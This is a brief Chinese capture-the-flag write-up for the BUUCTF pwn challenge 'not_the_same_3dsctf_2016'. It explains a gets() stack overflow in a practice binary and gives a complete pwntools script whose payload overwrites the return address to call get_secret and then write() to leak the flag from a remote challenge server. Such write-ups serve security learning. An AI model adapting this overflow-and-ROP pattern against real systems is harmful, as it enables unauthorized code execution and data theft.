BUUCTF-PWN-not_the_same_3dsctf_2016

共计 385 个字符，预计需要花费 1 分钟才能阅读完成。

提醒：本文最后更新于 2024-08-29 14:34，文中所关联的信息可能已发生改变，请知悉！

checksec

IDA

main 函数中的 gets 函数可以溢出

这个函数读取了 flag，并存入到变量 fl4g 中，且其在 bss 段，如下图：

那么我们只需要使 get_secret() 函数运行，然后再利用 write 函数将 flag 写出就行了

EXP

from pwn import *

p = remote('node4.buuoj.cn', 29733)
elf = ELF('./nts32')

write = elf.sym['write']
bss_fl4g = 0x080eca2d

payload = b'a' * (0x2d) + p32(0x080489A0) + p32(write) + p32(bss_fl4g) + p32(1) + p32(bss_fl4g) + p32(45)

p.sendline(payload)

p.interactive()

结果